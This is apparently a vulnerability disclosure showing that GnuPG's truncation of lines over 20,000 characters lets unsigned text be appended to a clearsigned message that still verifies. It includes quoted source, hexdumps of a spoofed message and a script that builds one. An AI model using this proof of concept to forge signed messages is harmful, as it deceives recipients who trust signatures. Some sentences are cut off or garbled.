Cleartext Signature Plaintext Truncated for Hash Calculation An attacker can extend certain singed messages with arbitrary data in a way that still passed signature verification in GnuPG. Impact If an attacker obtains the signature S and plaintext P of a message where the message plaintext contains ‘\f\n’ (or in other words, has a line ending in ‘\f’), the attacker can craft a signature plaintext pair (S,P’) where P’ has attacker controlled inserts at those occurences in the plaintext and still successfully verifies. Practically this this is applicable to the following scenario: * An attacker obtains (P, S’) and Details GnuPG truncates plaintext lines to 20000 characters minus padding: #define MAX_LINELEN 20000 // ... /* read the next line */ maxlen = MAX_LINELEN; afx->buffer_pos = 0; afx->buffer_len = iobuf_read_line(a, &afx->buffer, &afx->buffer_size, &maxlen); if (!afx->buffer_len) { rc = -1; /* eof (should not happen) */ continue; } if (!maxlen) { afx->truncated++; this_truncated = 1; } else this_truncated = 0; // ... /* Now handle the end-of-line canonicalization */ if (!afx->not_dash_escaped || this_truncated) { int crlf = n > 1 && p[n - 2] == '\r' && p[n - 1] == '\n'; afx->buffer_len = trim_trailing_chars(&p[afx->buffer_pos], n - afx->buffer_pos, " \t\r\n"); afx->buffer_len += afx->buffer_pos; /* the buffer is always allocated with enough space to append * the removed [CR], LF and a Nul * The reason for this complicated procedure is to keep at least * the original type of lineending - handling of the removed * trailing spaces seems to be impossible in our method * of faking a packet; either we have to use a temporary file * or calculate the hash here in this module and somehow find * a way to send the hash down the processing line (well, a special * faked packet could do the job). * * To make sure that a truncated line triggers a bad * signature error we replace a removed LF by a FF or * append a FF. Right, this is a hack but better than a * global variable and way easier than to introduce a new * control packet or insert a line like "[truncated]\n" * into the filter output. */ if (crlf) afx->buffer[afx->buffer_len++] = '\r'; afx->buffer[afx->buffer_len++] = this_truncated ? '.' : '\n'; afx->buffer[afx->buffer_len] = '.'; } When verifying a message like this: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 A[19998*A]ABBB CCC -----BEGIN PGP SIGNATURE----- [...] -----END PGP SIGNATURE----- The resulting hash buffer then contains A[19998*A]A, the truncation mark \f, and CCC. However, a similar message with a different payload instead of BBB like this: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 A[19998*A]AXXX CCC -----BEGIN PGP SIGNATURE----- [...] -----END PGP SIGNATURE----- It results in the same hash buffer as before, since the changed section is truncated in the same way. Furthermore, before the \f gets inserted, the buffer gets its trailing characters trimmed, allowing the \f to appear at any position between 0 and 20,000 when padding it with ’ ’, ‘\t’ or ‘\r’. Using repeated carriage return characters usually results in a single newline, making the attack practically invisible. Detailed steps to reproduce Scenario Mallory sends Alice a payload to sign: 00000000: 53 69 67 6e 65 64 20 70 61 79 6c 6f 61 64 0d 0c Signed payload__ Alice signs the payload, and sends it back to Mallory: 00000000: 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 47 50 20 53 -----BEGIN PGP S 00000010: 49 47 4e 45 44 20 4d 45 53 53 41 47 45 2d 2d 2d IGNED MESSAGE--- 00000020: 2d 2d 0a 48 61 73 68 3a 20 53 48 41 35 31 32 0a --_Hash: SHA512_ 00000030: 0a 53 69 67 6e 65 64 20 70 61 79 6c 6f 61 64 0d _Signed payload_ 00000040: 0c 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 47 50 __-----BEGIN PGP 00000050: 20 53 49 47 4e 41 54 55 52 45 2d 2d 2d 2d 2d 0a SIGNATURE-----_ [...] 00000100: 67 55 3d 0a 3d 54 56 52 34 0a 2d 2d 2d 2d 2d 45 gU=_=TVR4_-----E 00000110: 4e 44 20 50 47 50 20 53 49 47 4e 41 54 55 52 45 ND PGP SIGNATURE 00000120: 2d 2d 2d 2d 2d ----- Mallory then injects a payload after the signed payload: 00000000: 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 47 50 20 53 -----BEGIN PGP S 00000010: 49 47 4e 45 44 20 4d 45 53 53 41 47 45 2d 2d 2d IGNED MESSAGE--- 00000020: 2d 2d 0a 48 61 73 68 3a 20 53 48 41 35 31 32 0a --_Hash: SHA512_ 00000030: 0a 53 69 67 6e 65 64 20 70 61 79 6c 6f 61 64 0d _Signed payload_ 00000040: 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d ________________ [...] 00004e40: 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d ________________ 00004e50: 0c 55 6e 73 69 67 6e 65 64 20 70 61 79 6c 6f 61 _Unsigned payloa 00004e60: 64 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 47 50 d_-----BEGIN PGP 00004e70: 20 53 49 47 4e 41 54 55 52 45 2d 2d 2d 2d 2d 0a SIGNATURE-----_ 00004e80: 0a 69 48 55 45 41 52 59 4b 41 42 30 57 49 51 54 _iHUEARYKAB0WIQT 00004e90: 78 65 51 4f 30 6b 66 75 59 35 74 50 45 74 50 78 xeQO0kfuY5tPEtPx 00004ea0: 4c 71 31 73 4a 6f 33 75 64 68 77 55 43 61 50 59 Lq1sJo3udhwUCaPY 00004eb0: 39 2b 41 41 4b 43 52 42 4c 71 31 73 4a 6f 33 75 9+AAKCRBLq1sJo3u 00004ec0: 64 0a 68 79 53 4f 41 51 43 6f 6e 6e 36 73 69 57 d_hySOAQConn6siW 00004ed0: 68 31 30 6d 6a 79 4b 45 54 57 43 39 37 58 51 2f h10mjyKETWC97XQ/ 00004ee0: 39 33 45 4d 38 54 76 78 68 64 66 4a 41 61 65 62 93EM8TvxhdfJAaeb 00004ef0: 4f 49 6d 41 45 41 72 32 36 65 4c 47 36 30 34 49 OImAEAr26eLG604I 00004f00: 35 2b 0a 42 32 50 4f 32 66 55 36 64 63 6e 59 73 5+_B2PO2fU6dcnYs 00004f10: 52 50 6d 71 53 4f 6c 4b 6a 34 70 74 48 62 2b 33 RPmqSOlKj4ptHb+3 00004f20: 67 55 3d 0a 3d 54 56 52 34 0a 2d 2d 2d 2d 2d 45 gU=_=TVR4_-----E 00004f30: 4e 44 20 50 47 50 20 53 49 47 4e 41 54 55 52 45 ND PGP SIGNATURE 00004f40: 2d 2d 2d 2d 2d ----- Alice sends the spoofed message to Bob, and Bob verifies it with GnuPG, which succeeds despite the plaintext having additional content: $ cat cs.long -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Signed payload Unsigned payload -----BEGIN PGP SIGNATURE----- iHUEARYKAB0WIQTxeQO0kfuY5tPEtPxLq1sJo3udhwUCaPY9+AAKCRBLq1sJo3ud hySOAQConn6siWh10mjyKETWC97XQ/93EM8TvxhdfJAaebOImAEAr26eLG604I5+ B2PO2fU6dcnYsRPmqSOlKj4ptHb+3gU= =TVR4 -----END PGP SIGNATURE----- $ gpg --verify cs.long gpg: invalid armor: line longer than 20000 characters gpg: Signature made Mon 20 Oct 2025 03:49:44 PM CEST gpg: using EDDSA key F17903B491FB98E6D3C4B4FC4BAB5B09A37B9D87 gpg: Good signature from "online" [ultimate] A script to automate this is provided: let signed_payload = "Signed payload" let unsigned_payload = "Unsigned payload" let payload = ($signed_payload | fill -c "\r" -w 19999) + "." + $unsigned_payload let cs_good = "plaintext" | gpg -au online --clearsign let ds_long = $payload | str substring 0..<19998 | str replace -ra '[ \t\r\n]+$' (if ($in | split chars | last) == "\r" { "\r" } else { '' }) | bytes build ($in | into binary) 0x[0c] | do {$in | save -f payload.ds; $in} $in | gpg -au online --clearsign | do {$in | save -f payload.ds.asc; $in} $in | lines | skip 4 | str join "\n" let spoofed = $cs_good | lines | first 3 | append [$payload $ds_long] | str join "\n" $spoofed | save -f payload.spoofed.asc gpg --verify cs.long